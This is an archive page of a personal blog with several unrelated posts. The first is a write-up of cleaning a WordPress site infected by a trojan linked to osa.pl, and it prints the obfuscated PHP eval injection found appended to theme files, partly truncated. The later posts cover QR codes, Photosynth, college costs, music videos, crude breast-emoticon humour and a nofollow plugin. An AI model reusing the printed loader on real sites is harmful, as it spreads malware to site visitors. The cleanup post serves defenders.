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Category Archives: Internet
A Tojan of the name JS.Iframe.as going to osa.pl
This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.
Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?
But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.
First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.
Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.
Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!
Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?
Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65″;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166″;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160″;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145″;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72″;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.
Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.
Now I just have to send him an email with his new password.
Hope this might help somebody sometime.
Posted in Computer, Educational, Internet, Technology
Tagged anti virus, avast, configuration problem, data center consolidation, footer, grep, header php, ip, subdomain, trojan, vulnerability, wordpress
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Experiments in QR
Before there was NFC (near field communication), now built into the Nexus S, to read tags embedded in physical objects via electromagnetic radiation, there was another method of doing the same thing with light (just another electromagnetic wave length), which did not catch on as much as I wished it had – because I think, it’s darn cool and it’s so much cheaper to print a QR code on something instead of buying these NFC chips. Sure, communication is one-way but when comparing the cost of printing a little square on a sticker with the current cost of NFC stickers (about a dollar) the choice for the occasional user seems to be clear.
But of we look at Google for guidance, it appears the QR code might be dead. They had started to promote QR codes heavily a while back with Google Local stickers (with a QR code) sent to local businesses, but that is now all over and Android appears to be heading – again heavily – into support for NFC.
Oh well, but you can nicely play with QR codes and the error correction even allows to mess with the codes to a degree.
I did just that and came up with this custom QR code. It is pointless for this article because you are already on the site is code points to, but I had fun playing with it (the original code was generated by Raco Industries.) And then I went wild with photoshop and made my very own vanity QR code.
Take a look, get out your phone and see if it really works…
Photosynth of Devil’s Postpile – or so
Just before a trip to Mammoth Lakes this summer I had learned about photosynth, one of these project where Microsoft tries to be as cool as Google. This is technology which allows you to combine a whole set of photos taken of or around a subject into a 3D view of that subject.
I remembered PhotoSynth when up there at this amazing view of the Yosemite mountains, close to Devil’s Postpile and took a set of photos with the intention to try out photosynth with those.
The online web-all allows you to stick all your photos together into a synth, but in order to get a real nice panoramic view, you will first have to download a (free) application and do a more elaborate stitching off-line before uploading the results to photosynth.
The result of all that looks like…
Don’t forget to hit that little “full screen” button on the bottom of the synth to enjoy it to the fullest. Funny though, that the software decided that nature is more important than people and cut out Gigi in favor of nature. Not quite, as the lower legs and feet stayed in. I’m sure, if Google would have done this project, they would either have removed all signs of a person or leave the person in all-in-one – - just kidding.
Posted in Computer, Creativity, Internet, Science
Tagged 3d view, free application, Google, mammoth lakes, panoramic view, photosynth, yosemite
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Obsolete Technology – yesterday – today – tomorrow
I ran into this video teaching us how to use a dial telephone…
… and that got me to think.
From today’s point of view, this is obviously funny; but I tried to imagine what things that we consider high-tech today will look really funny to my son when he is my age.
Speaking of my son – I have noticed one piece of technology that I grew up which he already has no personal experience with: the tick-tock of a clock. He might still know that a clock in the distant past did make such sounds but he has never heard that himself.
Or the first super-high-tech wrist watch I had – with red LED segmented numbers. These LEDs used so much power that I switch had to be pressed to turn then on – and off right away – to see the time. Very inconvenient at a party where you were fondling a glass of whiskey on the rocks trying to look as cool as your watch. Very uncool to put the glass down to be able to push the little button on your other wrist to realize that after two hours of looking cool you still did not have the nerve to talk to the cute brunette.
So, what’s the item with the biggest cool factor today? Maybe tablets like the iPad. I believe this is a good candidate to look ridiculous in 20 or 30 years. Imagine you lugging around a book sized slate – just like Moses did when he came down the mountain – just to access some information, or look up an address, while today (tomorrow) you just say your search term into the ether and the information materializes right in front of your eyes, or even better, you just pose the question in your mind and the answer is directly delivered to your own synapses via a synaptic interface – - who needs eyes – - maybe we have them closed at all times as all the experiences we have are virtual anyway. While we experience a rich virtual world our bodies are securely stored and fed through some tubes while at the same time acting as a power source for the computer system that runs the whole virtual world, and …. hold on, doesn’t that sound somehow familiar?
Posted in Computer, Culture, Inspiration, Internet, Philosophical, Science, Technology, Video
Tagged cute brunette, dial telephone, moses, power source, tick tock, virtual world, whiskey on the rocks, wrist watch
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Making yourself a slave
I went to college in Germany (there called Universität) and the semester fees were about 23 Marks – maybe 10 Dollars. I lived with my parents but was registered at a friends house so that I could draw state funded study support, part of which was a loan. (I still owe some of that today, by the way.)
So, I have to say, my college education was pretty – - inexpensive. At least for me personally, maybe not so for the rest of the population. But my justification was always that later in my professional life I will earn well and pay lots of taxes.
OK, the latter did not really happen. First, I was self employed most of the time and I first saw my money in my account and then had to write a check (instead of it being collected before the wage earner even sees it), and that created a rather intense resistance, so I did everything possible to avoid writing big numbers on those checks.
And second, I left Germany after just about six or seven years.
At one point it becomes acute to think about those things for my son. He is still a few years away from any college thoughts, but eventually it will be something to consider.
Now I ran into this video that paints a bleak picture of the current college situation here in the old US of A…
There is not that much to add in terms of the facts, that it really does not seem to be worth to go to college any more, but what I do want to add is the following from my very own experiences.
I studied physics and got up to the equivalent of a masters degree – 6 years. It was fun to a bigger degree, especially my little stints down at CERN, to mingle with world class scientists – for example the internet was born down there (no, it was not Al Gore!)
But I did not go into a career in science, but moved into the computer field which was just then starting to be something to be reckoned with. What later became computer science was, in the beginning, manned by physicists and mathematicians.
So, after college I never did anything much of physics. I did practice forcing my will onto computers during my college days, but this was more or less a side effect because the experiments I conducted produced lots of data and we happened to have PDP 11 at the physics chair where I did my work. My first contacts with computers, a little bit before that, I had in my spare time when I taught myself to program a big IBM mainframe (I think it was an IBM 360) through the use of punch cards. I did this just because I was fascinated by these machines not because of any career goal.
All this happened during a time when in most cases you could still do the job you trained for, for the rest of your life. With the accelerated development in technology and science that is definitely not true any more. Sure, programming the PDP 11 in assembler gave me some basis but certainly did not prepare me for optimizing web sites and writing that occasional php application. All what I do now is self-taught and did not require me to sit in some auditorium and listen to a professor who has given the same lecture for the last 20 year, who can not be replaces by something younger and more up-to-date because he has tenure.
This is why I have to wholeheartedly agree with the implied conclusions in the above video that going to college at this time is a waste of time and money, and at these costs would just make you a slave for the rest of your life. It was scary for me to learn that not even a bankruptcy can get you out of these student loans – do I see debtor’s prisons on the horizon?
Maybe my son is really smart that at his young age he is really embracing the digital world, because that might be the area that we will be living in in 10 – 15 years. You better learn how to become an entrepreneur in Second Life.
All About the AppleGirl
I know, the title might be a little pretentious, maybe even a lot, but running into her on a Google Help page was a rather interesting experience – who would expect to find a music video on a Google Help page – and so I dug a bit deeper and by collecting my findings here I might save you your own digging.
First things first – here is the video that Google gave me as an example for what it was explaining on the help page…
I certainly liked the music and video, but why was she ‘AppleGirl’?
A bit digging let me find the likely answer that it was because the instruments she played in her first video on the internet were iPhones – yes, iPhones! Four iPhones running different music apps, attached to some kind of rack-contraption, were her instrument(s) of choice. And she became famous – the video and the follow up went viral. Here is that first one…
and the next one where she explains a bit more about here instruments.
Mysteries do get people hooked. So, the mystery of who that girl, only known as AppleGirl, was, might have helped the fast spreading of these videos. By now the mystery is solved and it’s all known that she is Kim Yeo Hee, and the latest video (the first on at the top) with it’s professional lighting, recording and editing is a strong indication that her careers is taking off.
So, what was the effect on me? I got some enjoyment out of watching these videos, and got the idea that if there is music apps for the iPhone, there must be some for Android as well. This assumption turned out to be true and I now have a virtual piano and guitar on my G1. I know, it’s ridiculous, I still have a G1 but at least I have it rooted and running Froyo (2.2) on it – even though a bit slow. By the way, even with that version of Android and an adapter directly from HTC my squareup.com card reader, “the cube,” still does not work.
Posted in Culture, Internet, Music, Video
Tagged android, applegirl, g1, Google, iphone, Kim Yeo Hee, music video, virtual piano
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Breast Smilies
In the beginning of the World Wide Web transferring data was slow and costly so methods were devised to minimize the amount of data transmitted and still convey the message.
One of the results was the ‘Smiley’ – an icon consisting of only a few characters and thus very cheap and fast to transmit. The added advantage was that with just three characters you could indicate that you were smiling 
or frowning 
instead of writing a little novel to express that this was your emotion when writing an email or quick instant message.
Since then bandwidth has become a lot cheaper and the reason to reduce the amount of data is not relevant any more. But in our illiterate times it is still necessary for many people to have the means to simply express if they are saying something humorous or threatening…
- I’m going to kill you
- I’m going to kill you
Obviously, specialized areas of the www thought that they require such symbology as well, and today we show you one area where such iconography was very successfully implemented – in the description of the female breast – a never-ending interest of the male population.
Without further ado, here are the your breast smileys…
Perfect breasts
Fake silicone breasts
Perky breasts
Big nipple breasts
A cups
D cups
Wonder bra breasts
Cold breasts
Lopsided breasts
Pierced Breasts
Hanging Tassels Breasts
Grandma’s Breasts
Against The Shower Door Breasts
Android Breasts
Martha Stewart’s Breasts
UPDATE: I am totally surprised how many of you have found this post – it is totally amazing! So, I thought that, if you got here in search for enhancing somebodies breasts – maybe your own, you should check out the pastic surgeon who really makes beautiful breasts. (Full disclosure: I run Dr. Orloff’s web site.)
Discrepancies on the Web
Not all things on the internet are as they appear. You might have guessed that already, but today I will bring you proof – hard evidence.
Stumbling along I ran into one champion stumbler who caught my eye – wonder if there is any male on this planet who’s eye this person would not have caught. Take a look…
If your eye gets caught what will you do? The rest of the body, including arms and finger, that are usually operating keyboard and mouse, have to follow. You can’t just detach them, can you?
So, following the eyes, the keyboard and mouse fingers operated the browser controls in a way that the eyes finally ended up the web site belonging to this stumble-upon member with the name of FNA.
And what a great website that is! I really must recommend to every designer to take a look. It certainly appeals to me based upon its clear and minimalistic design.
A site like this invites you to explore and so I did. The eyes still commanding the rest of my body to look for more pictures…
and then I found something interesting – an email address…
It starts with Frank!
Frank??
This Blog does not use rel=”nofollow”
I just installed a plugin to this blog to remove the default behavior to add the nofollow tag to all URLs that a commenter writes.
The nofollow tag was intended to reduce SPAM comments on blogs because it removes the incentive to post these spam comments. Google rates a page largely by the number of links from other web pages to it. The nofollow tag, that is added to a link as rel=”nofollow,” indicated to Google, not to count this link. After this, why would a blackhat SEO add a spam comment to a blog if that link would not help him to reach his objective to rank higher?
In theory that worked, but it had a side effect. Real commenters, who would have added value to a blog by commenting good comments, also stayed away because they also had lost the benefit to get link popularity. They went away to other methods of getting in-bound links. Or they went to blogs that did not have that nofollow tag set on their commenter’s contributions.
I use the plugin Nofollow Free to remove nofollow tags from comment links. It is configurable in that you can choose to remove each and every nofollow tag, or only those of registered users, and you can create a blacklist of words that would trigger to add the nofollow tag again – the male enhancer pill with a V is probably a good member for that field.